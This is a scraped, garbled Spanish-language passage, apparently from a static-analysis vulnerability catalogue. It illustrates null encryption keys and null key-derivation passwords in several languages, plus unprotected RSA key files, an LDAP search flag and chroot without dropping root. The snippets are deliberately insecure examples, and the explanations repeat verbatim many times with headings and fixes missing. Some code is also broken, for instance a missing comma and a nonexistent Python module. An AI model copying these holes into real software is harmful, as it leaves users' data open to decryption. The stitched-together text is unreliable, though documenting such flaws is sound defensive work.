encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
null
, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez lanzada la aplicación, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.null
nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, pero también dificulta en gran medida la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
:
...
var crypto = require('crypto');
var encryptionKey = null;
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
null
, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez lanzada la aplicación, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.null
nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, pero también dificulta en gran medida la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
:
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
nil,
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
null
, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez lanzada la aplicación, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.null
a las variables de la clave de cifrado no es una buena idea, ya que puede permitir a los usuarios malintencionados mostrar información confidencial y cifrada. El uso de una clave de cifrado null
no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
.
...
$encryption_key = NULL;
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
null
, y cualquier persona que aplique técnicas de descifrado, incluso básicas, tiene muchas probabilidades de descifrar correctamente los datos cifrados. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.null
nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, pero también dificulta en gran medida la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez lanzada la aplicación, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.None
a las variables de la clave de cifrado no es una buena idea, ya que puede permitir a los usuarios malintencionados mostrar información confidencial y cifrada. El uso de una clave de cifrado null
no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
.
...
from Crypto.Ciphers import AES
cipher = AES.new(None, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
null
, y cualquier persona que aplique técnicas de descifrado, incluso básicas, tiene muchas probabilidades de descifrar correctamente los datos cifrados. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.null
. El uso de una clave de cifrado null
no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
, y cualquier persona que aplique técnicas de descifrado, incluso básicas, tiene muchas probabilidades de descifrar correctamente los datos cifrados. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.Null
pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.null
. El uso de una clave de cifrado null
no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
:
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
nil,
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
null
, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.null
nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, pero también dificulta en gran medida la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
:
...
Dim encryptionKey As String
Set encryptionKey = vbNullString
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
null
, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez lanzada la aplicación, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.null
puede comprometer la seguridad del sistema de una forma que no es fácil de resolver.null
como argumento de contraseña a una función de derivación de clave basada en contraseña criptográfica. En este caso, la clave derivada resultante se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, normalmente la contraseña null
no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña null
se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.null
como el argumento de contraseña a una función de derivación de clave basada en contraseña criptográfica:
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword(null);
...
null
, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso a la sal que se usa para generar cualquiera de las claves basadas en una contraseña null
, le resultará muy sencillo descifrar esas claves. Una vez que se haya distribuido el programa, no hay forma de cambiar la contraseña null
, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña null
.null
puede comprometer la seguridad del sistema de una forma que no es fácil de resolver.null
como argumento de contraseña a una función de derivación de clave basada en contraseña criptográfica. En este caso, la clave derivada resultante se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, normalmente la contraseña null
no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña null
se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.null
como el argumento de contraseña a una función de derivación de clave basada en contraseña criptográfica:
...
CCKeyDerivationPBKDF(kCCPBKDF2,
nil,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
null
, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso a la sal que se usa para generar cualquiera de las claves basadas en una contraseña null
, le resultará muy sencillo descifrar esas claves. Una vez que se haya distribuido el programa, no hay forma de cambiar la contraseña null
, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña null
.null
puede comprometer la seguridad del sistema de una forma que no es fácil de resolver.null
como argumento de contraseña a una función de derivación de clave basada en contraseña criptográfica. En este caso, la clave derivada resultante se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, normalmente la contraseña null
no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña null
se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.null
como el argumento de contraseña a una función de derivación de clave basada en contraseña criptográfica:
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
nil,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
null
, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso a la sal que se usa para generar cualquiera de las claves basadas en una contraseña null
, le resultará muy sencillo descifrar esas claves. Una vez que se haya distribuido el programa, no hay forma de cambiar la contraseña null
, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña null
.
from Crypto.PublicKey import RSA
key = RSA.generate(2048)
f = open('mykey.pem','w')
f.write(key.exportKey(format='PEM'))
f.close()
require 'openssl'
key = OpenSSL::PKey::RSA.new 2048
File.open('mykey.pem', 'w') do |file|
file.write(key.to_pem)
end
returningObjectFlag
en true
en la instancia de javax.naming.directory.SearchControls
pasada al método search
o mediante el uso de una función de biblioteca que establece esta marca en su nombre.
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
chroot()
debe descartarse justo después de que se realice la operación.chroot()
, debe adquirir primero el privilegio root
. Una vez completada la operación con privilegios, el programa debería descartar el privilegio root
y restablecer el nivel de privilegios del usuario que realiza la llamada.chroot()
para restringir la aplicación a un subconjunto del sistema de archivos por debajo de APP_HOME
a fin de impedir que un atacante utilice el programa para obtener acceso a los archivos ubicados en otra ubicación. A continuación, el código abre el archivo especificado por el usuario y procesa su contenido.
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
con valores distintos a cero implica que la aplicación sigue funcionando con los privilegios root
innecesarios. Cualquier ataque con éxito que lleve a cabo un usuario malintencionado contra la aplicación puede provocar ahora un ataque de extensión de privilegios debido a que todas las operaciones maliciosas se realizarán con el privilegio de superusuario. Si la aplicación cambia al nivel de privilegios de un usuario que no sea root
, los posibles daños se reducen considerablemente.